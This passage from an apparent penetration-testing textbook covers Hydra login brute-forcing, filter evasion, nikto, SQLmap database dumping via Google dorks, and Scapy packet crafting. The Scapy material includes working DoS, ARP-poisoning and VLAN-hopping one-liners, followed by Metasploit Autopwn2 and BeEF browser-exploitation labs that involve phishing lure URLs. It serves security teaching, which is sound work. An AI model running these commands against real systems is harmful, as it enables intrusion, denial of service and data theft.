up and using DVWA available in GitHub and on YouTube. It is worth considering for
conducting hacks on web applications and enhancing your security knowledge further:
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Now that we have everything set up let's attempt a login with something random; this is so
we can get a bad login response that you should see in Burp Suite under intercept. Take a
snapshot or copy and hit Forward which will then provide back the error message. Now,
open a new terminal and input the information we just snapshot/copied in the correct
parameter:

-L <username list> -P <password list> <IP Address> <form parameters><failed
login message>

Following explained is the preceding command-line:

-l: This specifies only one username instead of a list
-V: This specifies a verbose output showing more details
-w <seconds>: This specifies that a program should wait by the given amount of
time before proceeding to the next attempt to prevent being locked out

For the form parameter, you'll need to provide in order the form type, page URL, form for
username, form for password, login, followed by the failed response. ^USER^ and ^PASS^
indicates to check the list supplied from -L and -P. The following is an example of what a
live command might look like:

hydra -l Admin -P /root/wordlists/pass.txt 192.168.0.2 http-post-form
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
-V

Bypass blocked and filtered websites
If you're stuck trying to conduct research on a public/institutional network but some of the
site you try to reach is blocked or filtered out, censoring your freedom to access various
information, then there are several ways to go about this. The first method is called URL
scripting. So basically, with this if for some reason your website is blocked then you can go
to www.google.com@YourBlockedSite.com if Firefox is available. You don't have to use
Google; it can be any website that the browser trusts.

Another thing you may try is using a HTTP Proxy. Using this method, your connection goes
through another server online to mirror your connection. Start by googling for a free public
proxy list and once you find one to use, note down the IP address and port number. If
you're using Internet Explorer go to Tools | Internet Options | Connection > LAN
Settings | Advanced and enter both the address and port number in the correct HTTP field.
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In Firefox, you'll find it under Tools | Options | Advanced | Connection Settings. Check
the Manual Proxy Configuration and fill in the server information. You may also bypass
using a web translation trick. Put the web address in the translation box for any trusted
language translating website; you can try h t t p s ://t r a n s l a t e . g o o g l e . c o m , which works in
most cases. The last method is to just use the IP address instead of the domain name. An
easy way for anyone to get the IP of the website is by simply pinging it. Go ahead and open
a terminal; if you have Windows then go to start or search depending on your OS version,
and find Run. After you click on it, a box should appear. Type in cmd, which will lead you
to the terminal window where you will ping the website you wish to attain the IP for (for an
example, you would type ping www.MyBlockedWebsite.com inside the command
prompt terminal).

Finding vulnerabilities from a targeted sites
There are tools out there will allow you to scan for possible vulnerabilities rather than
having to put in countless hours into a hack that you may find it to be secure from. The first
tool we'll use is called nikto; it will scan any website for vulnerabilities and reports back to
you on what it finds. You'll find it very simple and efficient but not stealthy so any
website/web server with an IDS/IPS is likely to detect it. You'll find this tool in Kali under
Vulnerability Analysis | Misc Scanner | nikto. Once you launch it, you can input the IP or
hostname to begin:

nikto -h 192.168.2.11

nikto -h TargetWebsite.com

For a Windows-based OS, you can download a similar GUI tool called Wikto. It works
much like nikto, running through thousands of scripts to scout for any vulnerability flaws,
but it also has HTTP fingerprinting, a identifying server type based on its behavior. What's
even more unique is its capability to query backend files and directories. This tool stays 
updated with the Google Hacking Database (GHDB), covering over 1,000 vulnerabilities.

Extracting data with SQLmap
In order to get the database of a website, we are looking for a web address that end in
php?id=. You can use Google hacks/dorks by entering a search on Google for something
similar to the following:

inurl:index.php?id=

inurl:gallery.php?id=
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inurl:post.php?id=

inurl:art?id=

You can find an extensive list by typing dork list in the search field. Sometimes you may
even stumble upon an updated list of vulnerable websites that could be worth considering
as well.

Now before we begin infiltrating a website, you'll need to perform some reconnaissance to
gather some information such as the database management system (DBMS) and for that
you'll use the following command:

./sqlmap.py -u "URL of a vulnerable web page"--dbs

Let's say we landed a MySQL 5.0 as the backend DBMS and you should find a couple of
available databases listed, usually something such as information_schema and scanme.
Information schema is information included with the MySQL installation so we will only
further explore the other option. So now we need to find the tables and columns in that
database. We must revise our previous command in order to attain it:

sqlmap -u "URL of a vulnerable web page"--tables -D scanme

Once you know the table name (let's say tbl1) and DB name, then you can look for a
column name with the following command: 

sqlmap -u "URL of a vulnerable web page"-column -D scanme -T tbl1

Sqlmap will then attempt to enumerate for the scanme database and if it fetches
successfully you can attain information in that database such as an e-mail list, password list,
address, and CC information. This tool can be very useful in discovering vulnerabilities
with SQL, MySQL, and even the Oracle system.

Hunting for web app vulnerabilities with
Open Web Application Security
Project (OWASP) ZAP
OWASP is a team of neutral volunteers dedicated to making web app security. OWASP is
one of the best online resource for learning more about web app vulnerabilities security and
related projects.
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One of the best entry points to a company's server/database is through the web
applications. Because of its purpose to receive customer input and correlate that back to the
servers, it may also receive malicious input if the web app is not properly secure. OWASP
ZAP can be used to test aggressively on a targeted website for weak points that are
categorized by the type of vulnerability, such as the following:

Cross-site scripting
Remote OS command injection
Directory browsing
X-Frame-Options header not set
Cookie set without HttpOnly flag
Password autocomplete in browser
Web browser XSS protection not enabled
X-Content-Type-Options header missing

Next to each category is a number that represents the number of occurrences that is relevant
to that type of vulnerability. You can find further details on the vulnerabilities involved if
you click on the arrow next to the alert to expand that category. The vulnerabilities that are
detected are also identified as risk assessment and confidence.

Summary
After reading this chapter, you should now have a much better understanding of how SQL
works and of its vulnerabilities. SQL has revolutionized the way users interact with
relational databases, but has come at a great cost to security. As we learned from the attack
examples, having weak database protection can lead to devastating results. It is always
important to understand the different types of SQL injection attacks. For example, by
reading this chapter you can now explain what a union-based SQL injection is and why
hackers use this type of attack. Understanding how to recognize the behavior of the
different types of attacks can allow for a greater response time to mitigate the attack. Many
SQL attacks will go unnoticed until the hackers publicly dump the user data. Remember
this can be prevented by actively monitoring for malicious SQL statements. Many
companies will find those with SQL knowledge highly desirable for employment.
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Scapy

In this chapter, we will discuss a packet injection tool called scapy. The topics covered will
include: packet structure, how network traffic operates, how packets in a network can be
manipulated, and how to use scapy to create custom packets to deliver your payload (data)
to a victim PC or network.

Scapy
Scapy is a packet manipulation tool. You can thus create custom packets to deliver your
payload (data) to a victim PC or network. This too was written by Philippe Biondi in the
computer language python, for packet decoding, construction, and manipulation. The
practical applications are vast and powerful, from packet decoding, construction, and
manipulation to malicious implementations such as DDoS to MITM attacks and even
manually injecting backdoors. You can create and send packets, or filter to receive specific
packets on the network. You can also scan a pcap file or write packets into the pcap and
even layer packets. You can also use it for testing a variety of possible attack vectors or
troubleshoot network issues. As you can see, this packet generator has a lot of potential and
capability for both sides so I hope you pay close attention in this chapter. Before we get
started however make sure you have at least python 2.5 or higher version installed and then
install scapy. You should have also done some research on various RFC protocols and
packet structure, the layers of the OSI and TCP/IP, and the internet protocol suite. If you
already have Python but are unsure of what version it is, then use python -v then use the
following steps to install scapy:

$ cd /tmp1.
$ wget scapy.net2.
$ unzip scapy-latest.zip3.
$ cd scapy-2.*4.
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After that you can run it by using one of the following:

$ sudo python setup.py install  or  $ mv scapy-latest.zip
/usr/local/bin/scapy
$ chmod +x scapy-latest.zip  or  $ mv scapy-latest.zip /usr/local/bin/scapy
$ sudo ./scapy-latest.zip
$ sudo scapy

Creating our first packet
So, let's go ahead and look at our first packet. I'm going to go ahead and create one with a
payload with a message MyFirstPacket embeded inside an ICMP packet. Then I will use
Wireshark to show you the packet breakdown and details of how I did it.

The breakdown is as follows:

p: This is the name of the packet
IP(): This is the type of packet you want to create, in this case an IP packet
(dst="192.168.0.6"): This is the destination to send the packet to (in this case
my router)
/ICMP(): If you want to create an ICMP packet with the default values provided
by scapy
/"MyFirstPacket"): The payload to include which you don't have to provide
in order for it to work

Sending and receiving
Scapy provides us with three functions for sending and receiving packets. The first two
functions require that it's constructed for the network layer packets only such as IP, ICMP,
and ARP packets. You may use sr() for sending and receiving packets whether they are
answered or unanswered responses. The other alternative function is sr1() and this will
only return one packet in response to the packet sent. For layer 2 packets, you would use
srp() which provides the same function for sending/receiving packets.
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Let's go ahead and create one for a single return. At minimum, we provide that it's a layer 3
packet for ICMP with the destination address going to 192.168.6 and we're going to name
this packet p. You should have and see something similar to what we provided in the
following screenshot:

Cool! so, after we sent one and got back a response, how can we see that response? Well
that's why we provided a name for this; to view it, all you have to provide is either typing
the name as is with p or for a cleaner format p.show. However, for sr() which will provide
both answers and unanswered packets, use ans, unans=_ to look for the most recent
responses or or returned data followed by the various ways to view packet details such as
using ans.summary() for a basic report. A cool feature that this tool is capable of is
illustrating a PostScript/PDF figure with each section explained in the dissection. Another
one to remember is ans.command() which returns the command that duplicated the packet
in scapy which can then be modified and/or sent out. There are plenty of other commands
that will perform other functions or views such as decoding, hex, and listing field values.

Layering
There are other ways to push out packets with send() for layer 3 and sendp() for layer 2
that'll be represented by a series of periods, each of which represents 1 packet sent when
executed. Sending multiple packtes can be done by manipulating the time to live function in
the IP, providing a loop function, or sending a whole pcap file out. Let's look at how we can
build a packet and stack protocols or change details to customize our packet for other
purposes. As mentioned earlier, to view the most recent result then use the underscore
character (_) .
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A very important feature you need to know about is layering between upper and lower
layer data is done using the the key/to bridge the two sets of data together. If you do
construct a packet or sets of it going through multiple layers, the details in the upper layer
may override one or more of what is provided by default:

Here's a simplified view of several various examples of layer packets. The first line was just
an IP packet. The next line we layered a UDP protocol which could be a TCP. Remember UDP
is connectionless and TCP is connection oriented requiring a 3-handshake at the initiation of
a connection. The third packet we created is now a frame when it becomes encapsulated
with the Ethernet header which operated down in layer 2. For the fourth one, we are back at
layer 3 and the GET / HTTP... would reference to the inputted dns that's being requested
by a host ( so basically anytime someone is try to reach a or clicks on a link would
commonly be sending get request). The Last statement defines what IP protocol to use
which we input the value 58, which is IPv6 ICMP. These are just a few common examples
to help you understand how easy it is to create a multi-layered protocol with scapy that's
very customizable to test for vulnerability, network issues, and packet inspection.

Viewing the packet
Scapy offers several ways for the end users to examine packets. Use the following
commands as a reference to get your desired output with the example,
packets=IP(dst="192.168.0.2" ttl=14). You can customize the packet protocol to
your heart's content. Then you can use the fallowing methods to view the data:

packets.summary(): This provide short list of details such as the IP protocol,
source and destination address, and payload details
packets.nsummary(): Gives the same result as the summary() with a packet
number
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packets.show(): This provides a much more organized display and component
details of the packet
packets.show2(): This is very similar to the previous function except checksum
is calculated
packets.psdump(): Maps a PostScript illustration explaining the breakdown of
the packet
packets.pdfdump(): This provides a PDF Visual explaining the breakdown of
the packet
packets.sprintf(): This returns field values of the packet data in a string
format
packet.decode_payload_as(): You may alter the decoding method of the
payload using this function
ls(packets): This lists packet content values
hexdump(packets): This gives you the hexadecimal dump of the packet
str(packets): This builds a packet with defaulted values

If you have a list of a pcap file it may also be helpful to know the following to help you
organize the data to be more easily readable. We are going to be using what are called
lambda functions. Don't let the term intimidate you; they are only capable of executing:

filter(): Provides a lambda function to filter the provided list of packets
plot(): Plots a list of packets with the provided lambda function
Make table(): The table of table is also organized based on the given lambda
function
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The following is a screenshot displaying what viewing a packet look like with scapy:

Handling files
It can be useful to know how to open pcap files, save new captures, and apply passive
filters to. There are various ways we can proceed about this. Don't forget to call it in order
to view the data. With scapy, you also have the option to choose the format for the data to
be displayed in. Options include hex dump, hex strings, and even base64. Importing and
exporting files will be helpful not only for later analysis, but also migrating data to other
tools such as Wireshark because of its advanced interface and capability to process,
organize, and dissect pcaps:

>>> packets = rdpcap("/temp/cap/savedpkc.cap")
>>> packets = sniff(offline="savedpkc.cap")
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>>> wrpcap("savedpkc.cap",packet)
>>> packets=Ether()/IP(dst=Net("google.com/30"))/ICMP()
>>> wireshark(packets)

The TCP three way handshake
If you don't already know what the TCP three way handshake then here's a simple
explanation. When a host device (such as your computer) attempts to communicate with a
server with reliable connection because it needs to error check and be capable of
reestablishing the connection then likely it will choose the TCP protocol over UDP (which is
connectionless). Let's go over some basics for a moment and look into what a successful
handshake would look like. First a host, such as your computer, initiaties a TCP connection
by providing a TCP SYN packet to the destination host (let's just say it's a file sharing server
for this example). After the server receives the TCP SYN it returns to a packet back in
response with SYN ACK. Now, once your computer intercept the SYN ACK, it will send
out one more packet to establish the connect with the ACK.

SYN scan
As you can see we have numerous ways to write out our SYN scan. Whether we want to
target a single system or multiple with a specified source/destination ports or group or just
any ports. SYN scan can be put into practical use for both the good and bad in the realm of
cyber security. You could use this as a network security tool and scan for common open
ports on the network, but this also means cyber criminals can as well:

>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))
>> syn=sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport
[80],flags="S"))
>>> syn=sr(IP(dst="192.168.1.1")/TCP(sport=67,dport=[22,80,21,443],
flags="S"))

A DNS query
Most of what you see for the following should look familiar. The only new added elements
are rd representing if recursion is desired which is true (0 for no) and qd= DNSQR Query
Domain by searching for the DNS question record using the input provided in the qname:

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR
(qname="www.google.com")))
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Malformed packets
What this does is masquerade the data because the protocol dissector is limited to fully
breakdown the content. By giving factors that that are not commonly recognize in the
protocol suite like identifying as version 3, we can easily implement this on a network:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death
The ping of death is another easy instance for a DoS attack using a large set of malform
packets:

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Teardrop attack (aka Nestea)
Another DoS from back in the day, using fragment offset to sabotage the victim
connection/network communication:

>>> send(IP(dst=192.168.0.6, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=192.168.0.6, id=42, frag=48)/("X"*116))
>>> send(IP(dst=192.168.0.6, id=42, flags="MF")/UDP()/("X"*224))

Land attack (only Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning
This is also well known as ARP spoofing which in other words involving falsely given data
to the ARP. This could potentially be a DoS, session hijacking, or working as a component
for a MITM.
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ARP poisoning commands
The following is an example of how to use scapy to poison the ARP cache on a network. By
using the following commands, the targeted device is prevented from joining the gateway
of the network. The commands direct the attack to poison the ARP cache by using a VLAN
hopping attack. That is why we set /Dot1Q(vlan=1)/Dot1Q(vlan=2):

>>> send( Ether(dst=XX-XX-XX-XX-XX)/ARP(op="who-has", psrc=gateway,
pdst=client), inter=RandNum(10,40), loop=1 )

Double 802.1q encapsulation:

>>> send( Ether(dst=XX-XX-XX-XX-XX)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client), inter=RandNum(10,40), loop=1
)

The short-cut:

>>>arpcachepoison(target, victim, interval=60)

ACK scan
Another tool that could be used to map out the firewall rules, determining which ports are
filtered or unfiltered. If the port is open or close then a RST packet should be given as a
response for that port meaning that's unfiltered, however if you get no reply or an ICMP
error and that classify it as filtered:

>>> ans,unans = sr(IP(dst="www.google.com")/TCP(dport=[80],flags="A"))

TCP port scanning
The following command is used for TCP port scanning. Using this command will send a
TCP SYN packet to each port. The command will then wait for a SYN-ACK, RST, or ICMP
error indicating an open port:

>>> res,unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) )
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VLAN hopping
Attacks associated with virtual LAN networks such as VLAN hopping becomes a simple
task by just double layering the Dot1Q protocol first with the VLAN you're going to send on
then the VLAN that you are going to. This is make networks using VLANs vulnerable to
DDoS attacks methods and other attack vectors:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing
Now, I know there are already plenty of wireless sniffers out there, but with scapy you'll
grasp a better understanding of how it works. There's already a sniff function but there are
several parameters we haven't yet discussed. Well start with iface, you need to define the
connection interface you wish to use. prn is an argument to apply to every packet:

>>> sniff(iface="ath0",prn=lambda
x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.c
hannel%\tDot11Beacon.cap%}"))

OS fingerprinting ISN
Scapy can be used to analyze ISN increments to possibly discover vulnerable systems. First,
we will collect target responses by sending a number of SYN probes in a loop:

>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

Sniffing
The following command configures the options for capturing packets on a network. This
command can be used to gather information on potential targets and capture sensitive data:

sniff(filter="icmp and host 66.35.250.151", count=2)<Sniffed: UDP:0 TCP:0
ICMP:2 Other:0>
>>> a=_
>>> a.nsummary()
>>> sniff(iface="eth1", prn=lambda x: x.show())



Scapy

[ 196 ]

Passive OS detection
This command is used for passive OS fingerprinting, while sniffing the network:

>>> p
>>> load_module("p0f")
>>> p0f(p)
>>> a=sniff(prn=prnp0f)

Or:

>>> load_module("nmap")
>>> nmap_fp("192.168.1.1",oport=443,cport=1)

Summary
Well, that might have been a lot of information to take in but you can see how vast the
capabilities and potential this tool are. Aside from packet manipulation, it's also great to
help build networking and forensic knowledge of the protocol stack. The applications are
almost limitless and practical to anyone trying to learn more about cyber security or in the
field. I hope we covered enough in this chapter to provide you with a good foundation to
understanding its basics. Some of the more advanced guides provided online include using
scapy for ASN.1, Network Automata, and Profinet IO RTC. However, for now and
especially if you're new to scapy then I would explore and have some fun with it (within
legal capabilities of course).
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Web Application Exploits

In this chapter, we will discuss various web application vulnerabilities and how hackers
exploit them. We will also demonstrate powerful tools such as Autopwn and BeEF. These
tools are used to exploit web applications. This chapter will build a solid understanding of
the various vulnerabilities found within web browsers. There are labs prepared for this
chapter too, demonstrating how tools such as Autopwn and BeEF function. We recommend
using Kali Linux running in a virtual machine. You will also need a Windows 7 victims
machine. The victims machine should also be running in a virtual machine. Once you have
set up your sandbox environment, you can proceed to follow along with the labs we have
prepared. We caution you not to use this knowledge for illegal activity. Autopwn and BeEF
are extremely effective tools and should be used responsibly. The objectives of this chapter
are to demonstrate where web vulnerabilities can be found, how they are exploited, what
tools are used for exploitation, and how to defend against these types of attack.

Web application exploits
The five most common web application exploits include: remote code execution, SQL
injection, format string vulnerabilities, XSS, and username enumeration. We have covered
some of these attacks in earlier chapters. We will now go into more detail about how these
attacks function.
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Remote code execution is an extremely effective attack that hackers use to gain illegal
control of devices. A good example is a vulnerability found within the Simple Network
Management Protocol (SNMP) using Cisco Adaptive Security Appliance (ASA) software.
This vulnerability allows a hacker to execute remote code on a victim's device. According to
the Cisco Security Center, this vulnerability is caused by a buffer overflow in the affected
code area. To take full advantage of this vulnerability, hackers craft customized SNMP
packets to an SNMP-enabled interface on a victim's device. After the crafted packets have
been sent to the interface, the hacker can then execute remote code on the victim's machine.
For this attack to be successful, the hacker must know the SNMP community string. This
vulnerability was first documented on August 17, 2016. Since then Cisco has released a
software patch to address the issue. Unfortunately, many companies do not patch their
software as often as they should, leaving them open to attacks. It is important to remember,
as a cyber security professional, to always keep software fully patched and up to date.

SQL injection is another common web application attack. A good example of this type of
attack is the data breach of the National Assembly of Ecuador that took place on December
4, 2016. This attack was performed by a well-known grey-hat hacker named Kapustkiy. This
attack used SQL injection to obtain 655 e-mails and passwords. According to
DataBreaches.net (https://www.databreaches.net/), the passwords were easily cracked
because they were secured using MD5. As we learned from earlier chapters, MD5 is no
longer considered secure. Sadly, many government and commercial websites still use MD5
to protect passwords. SQL injection remains a major problem for websites that are outdated
and use poor password protection.

Another common web application attack is using format string exploits. This type of attack
manipulates a string of code to make it appear to be a command for the software. The
manipulated format string allows the hacker several options. A hacker can use a format
string exploit to execute code, read the stack, or cause a segmentation fault in the
application that is running. These actions compromise the security of the system and cause
it to become unstable. This attack is successful when the web application does not validate
the input submitted by the user. Specially crafted input can change the behavior of the
format function, granting the hacker an opportunity to launch a DDoS attack or execute
arbitrary commands. An example of a format function exploit is printf (username0); .
This prints the username to a file from a text field found on the website.

https://www.databreaches.net/
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The following screenshot displays examples of format functions and parameters used for
attacks:

If a web application uses format functions in the source code, then the application can be
exploited using malicious format function strings.

The fourth common web application attack is cross-scripting. This type of attack has been
highly effective in compromising the security of devices. XSS attacks work by allowing
hackers to inject client-side scripts into vulnerable web pages. Each user that visits an
infected web page will themselves become infected. Once infected a hacker can then execute
remote code on the victim's device. Cross-scripting exploits a vulnerability used to bypass
access controls like the same-origin policy. Hackers will create fake cloned websites that are
purposely built to be exploited with XSS attacks. The best way to prevent these types of
attacks is to use contextual output encoding/escaping. There are several types of
encoding/escaping that can be used. They are: HTML entity encoding, JavaScript escaping,
CSS escaping, and URL encoding. It is recommended that security encoding libraries are
used. Using encoding libraries are easier to use than other encoding methods. Cookie
filtering is also a great way to defend against XSS attacks.
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The final web application we will discuss in this chapter is username enumeration. This
attack works by exploiting informative failed login messages. A large list of usernames will
be tried for login. If a wrong username is submitted, a message will be sent back saying the
username does not exist. The attacker then proceeds to try different usernames until a
successful login is completed. Usually a hacker will run this list on a script to automate the
process. This is like the dictionary attack we discussed in earlier chapters. Hackers will
often first use an SQL injection to obtain a list of usernames and passwords from a
vulnerable database. If the passwords are hashed with MD5, the hacker can use a rainbow
table to easily crack the passwords. The hacker will then use these stolen credentials for
logins on other sites. Many people use the same password and e-mail for multiple sites
leading them to be more vulnerable to this type of exploit. Sometimes if the hacker can
figure out the format of the usernames, they can generate a list to try and guess the user
names. The following is an example of username formats and how a username can be
generated:

What tools are used for web application
penetration testing?
There are a variety of penetration testing tools that can be used to find vulnerabilities with
web applications. The first tool we will discuss is called Vega. This tool is open source and
helps find SQL and XSS vulnerabilities.
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Vega is GUI-based and written in Java. It runs on Linux, Windows, and OSX. Subgraph
created Vega. Some of the core modules include: Automated Crawler, Vulnerability
Scanner, Consistent UI, Website Crawler, Intercepting Proxy, SSL MITM, Content Analysis,
Customizable alerts. Another popular tool used for web application pen testing is called
Arachni. This is a highly-rated tool and is considered one of the best to use. Arachni is built
using the Ruby framework, which allows for high performance. An interesting feature of
this tool is its ability to learn from HTTP responses it receives during the audit process.
Some modules of this tool include Blind SQL injection, Blind SQL injection using timing
attacks, CSRF detection, code injection (PHP, Ruby, Python, JSP, and ASP.NET), Blind code
injection using timing attacks (PHP, Ruby, Python, JSP, and ASP.NET), LDAP injection,
path traversal, response splitting, OS command injection (*nix, Windows), XPath injection,
path XSS, and URI XSS. The third web application penetration tool we'll discuss is called
Skipfish. This is a security reconnaissance tool that creates an interactive sitemap of the
targeted website. It does this by performing a recursive crawl and using dictionary-based
probes. A report is generated and used to address vulnerabilities found within the website.
Kali Linux commonly runs this tool. Skipfish was developed by Google, Michal Zalewski,
Niels Heinen, and Sebastian Roschke. The source can be found here:
https://code.google.com/p/skipfish/. The following is a screenshot of the initial screen
when you start skipfish:

https://code.google.com/p/skipfish/
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What is Autopwn?
Now that we have discussed some tools used to test web applications, we will discuss tools
hackers commonly use to attack web apps with. One of the most common tools hackers use
for web app attacks is called Autopwn. This tool is designed to test for browser
vulnerabilities that are used for web application attacks. Autopwn was first developed in
2008 by Egyp7. What makes this tool unique and powerful is the ability to launch multiple
browser exploits at once until one is successful. This process of finding the right browser
exploit is automated. In 2015, a new version of Autopwn was written. The new version is
called Autopwn2. It uses a Browser Exploit Server (BES) to determine the type of browser
the victim is using. There is also support for multi-platform plugin detection. When a
victim's browser connects to the BES, Autopwn2 begins to launch a list of browser exploits
against the victim's browser. Autopwn2 ranks the exploits, starting with the newest exploits
first until one is successful. Autopwn2 is highly supported and constantly updated with the
latest browser exploits. That is why Autopwn2 is one of the favorite tools hackers use to
exploit web browsers. Autopwn2 can be found with the Metasploit framework. Next, we
will show you how to start and set up Autopwn2 using Kali Linux.

Using Autopwn2
The first thing we want to do is open a command line in Kali Linux. We want to make sure
everything is updated and upgraded before we begin. In the command line, type apt-get
updates and then type apt-get upgrade. Once the updates are complete, we will type
msfconsole. Next, we will type use auxiliary/server/browser_autopwn2. The
following is a screenshot showing what you should see:

Next autopwn2 will set up BES. The next screenshot will demonstrate this process:
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After the exploit server has been set up, Autopwn2 will begin to rank exploits that will be
tried first. The following screenshot shows you what this looks like:

Once the rankings are complete, Autopwn2 will provide a URL for the hacker to send the
victim. The following screenshot shows the rankings list and the IP of the URL the victim
will click on. This URL link can be sent to the victim using a phishing e-mail:
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After the victim has clicked on the URL link, Autopwn2 will begin to execute browser
exploits against the victim. The following screenshot shows Autopwn2 launching exploits
against a simulated victim. For this lab, we used a Windows 7 system running in
VMwareplayer as the victim:

The next lab will also demonstrate Autopwn2.

The beauty of Autopwn is that it relieves you of some of the hard work of reconnaissance.
Autopwn will first try to fingerprint the victim's browser, then throw at it whatever exploits
it thinks might work. It makes life quite simple. The downside of Autopwn is that it is very
noisy and can lead to either detection by the target or crashing the browser, which happens
often. Following are the steps to be followed to start this lab:

Log into the Metasploit console and type mfsconsole:1.

Type use auxiliary/server/browser_autopwn:2.
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We can view the options by typing show options:3.

If we want to see more info, we can type info:4.
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We need to set our lhost; remember that is the address of our listener. We do5.
that by typing set lhost 192.168.10.50:

Next, we must set the URL path. This is done by typing set urlpath6.
free_food:

Remember the URL path name can be anything but it needs to grab the
attention of the victim.

Now let's start the exploit:7.
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The server starts with several payloads:8.

Once the server starts, go to the victim server and go to the following9.
URL: http://192.168.10.50:8080/free_food. If the URL doesn't work,
check Kali for the URL it wants you to send out. It's highlighted in the preceding
screenshot. Once there you may get a Java warning:

Once you navigate to the link, check what is happening on Kali:10.

In the middle of this screenshot, it is that Autopwn is Responding with 13
exploits
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It will now begin trying each of those exploits against the browser with the hope11.
that at least one will work:

To view if any sessions have formed, you can type sessions -i:12.

If it is successful, you will get a Metrepter shell.

As you can see from the lab, Autopwn2 is an easy tool to use. It is both fast and effective,
which is why hackers like using this tool. Next, we will demonstrate a tool hackers use for
XSS attacks.

What is BeEF and how to use it?

Another popular tool hackers use for web application attacks is called BeEF. This tool is
used to launch XSS attacks against victims. BeEF stands for Browser Exploitation
Framework. This tool can be thought as an enhanced version of Autopwn2 with more
features and a GUI interface. BeEF has the option of running Autopwn2 if you wish to use
it. BeEF is designed to launch client-side attacks against a victim's browser. The main
objective for BeEF is to hook the victim's browser.
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Once the browser is hooked, BeEF offers a variety of options to exploit the victim's browser.
We have prepared another lab to show you how to use BeEF. We have included screenshots
to help you follow along. For this lab, we will use Kali Linux as both the attacker and
victim. Before we get started we need to make sure everything is updated and upgraded.
First type apt-get update and then apt-get upgrade. Since BeEF is included in Kali
Linux distro, we can easily open it from the applications list.

The following screenshot will show you where this will be located:
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As you can see, if you scroll down to number 14 - System Services, you can start and stop
BeEF. Click the BeEF start button to begin. Once you start BeEF open Iceweasel on Kali
Linux. Sometimes BeEF will automatically start Iceweasel for you, bringing you to the BeEF
login page. The login credentials for BeEF are: username: beef and password: beef. The
following screenshot shows you what the BeEF login screen looks like:

After you have logged into BeEF, you can begin to hook a browser. For this lab, we are
going to hook our own browser for testing purposes. On the BeEF starting page, you will
see an option that says Hook Me! to hook you own browser. The following screenshot
displays what screen you should see to hook your own browser:
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Click Hook Me! highlighted in blue. After we hook our own browser, the next screen will
be the BeEF dashboard. This dashboard will give us lots of options to exploit our browser.
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The following screenshot shows what the dashboard looks like once a browser has been
hooked:

As you can see from the screenshot, we can get the details of the browser we hooked.
Starting from the top of the dashboard tab, we can determine the type of browser, the
version, language, platform architecture, plugins, and window size. We also get details of
the browser components. Now we will select a social engineering attack against our hooked
browser.
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The following screenshot will demonstrate what this will look like:

This attack allows the hacker to steal the auto-complete information found in the search box
in the victim's browser. This can be useful for reconnaissance. As you can see from the
screenshot, there are many attacks we can experiment with. We suggest that you take some
time and explore some of the other attacks found on the BeEF dashboard. Remember this is
an extremely powerful tool that should be used in a responsible manner. We do not
encourage you to use this information for illegal activities. BeEF is one of the favorite tools
used by hackers for web application attacks. As you will have observed from the preceding
lab, BeEF is even easier to use than Autopwn2. The user-friendliness of this tool makes it
dangerous. Script-kiddies can now be just as effective as an experienced hacker in attacking
web applications. XSS attacks continue to plague web applications and compromise victims
every day. As a cyber security professional, it is critical to have a solid understanding of
how these tools function. Next, we will discuss some defenses that can be used against web
application attacks.
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Defenses against web application attacks
Web application attacks are one of the biggest problems that cyber security professionals
must deal with. Many web designers do not even think about security when designing a
website. The same could also be said for those who construct databases like MySQL. The
responsibility for finding and fixing web application vulnerabilities falls on the cyber
security professional. Let's talk about some defenses that can be deployed against web
application attacks. The first defense is against XSS attacks. The first thing you want to do is
to limit code interacting with the same origin server. Next you want to make sure that
strong input sanitization is in place. The next defense tips are for protection against
username enumeration. The best defense against this type of attack is enforcing a strong
password policy. If people use the same credentials to register for multiple websites, they
are far more vulnerable to be hacked. Using an SQL injection, a hacker can compromise the
password database, and they can then dump the hash value of the passwords. At that point,
they can use a rainbow table to crack the passwords. As we discussed earlier is this chapter,
many web apps use unsalted MD5 to hash the passwords of users. Remember, MD5 is very
easy to crack using rainbow tables. It is recommended to use SHA-3 to hash the passwords
of users. Username enumeration is enhanced if the user has the same credentials for
multiple websites. Using password managers such as LastPass will help users manage
multiple passwords. It is important for a cyber security professional to stay current with the
latest defense methods against web application attacks. Attending cyber security
conferences such as black hat and Defcon will help you stay current and in touch with the
cyber security community.
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Summary
In this chapter, we have explored some of the most common web application vulnerabilities
plaguing cyber security. Attacks such as SQL injection, XSS, and username enumeration
continue to be popular attack vectors for hackers to use. This chapter also provided two
informative labs demonstrating Autopwn2 and BeEF. By completing the labs, you now
have applied knowledge on how to use web app penetration tools to find vulnerabilities.
The labs also showed how hackers may use the tools for recon and social engineering
attacks. Towards the end of the chapter, we discussed different types of defenses that can be
deployed against web application attacks. After reading this chapter, the user should have a
much better understanding of what kind of vulnerabilities can be found in web apps and
how to use the tools to fix the exploits found. Having this kind of knowledge will help the
user increase their cyber security skillsets. Web application security has never been more
important than it is today. By taking a more proactive approach to security during web app
development, developers can provide users a safer experience when using their web
application. Developers and cyber security professionals must work together to achieve this
goal.
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Evil Twins and Spoofing

In this chapter, will we cover concepts such as evil twins, ARP spoofing, and tools used for
evil twin detection. This chapter will go into greater detail about rogue access points and
the purpose of address spoofing. We will discuss how to setup evil twin access points and
explain how they are used. This chapter will provide various ways to detect and defend
against evil twin attacks. We will also discuss different attack and defense scenarios
involving MITM and rogue access points. The objectives of this chapter are to get the reader
familiar with the details of evil twins, address spoofing, MITM scenarios, and defense
methods. After reading this chapter, the user will understand how to detect evil twins
running on the network.

What is an evil twin?
An evil twin is a fake wireless access point set up by an attacker to imitate a real wireless
access point. The evil twin looks identical to the real access point, so most users will not
notice any difference when signing on. Evil twins are often used to setup MITM attacks
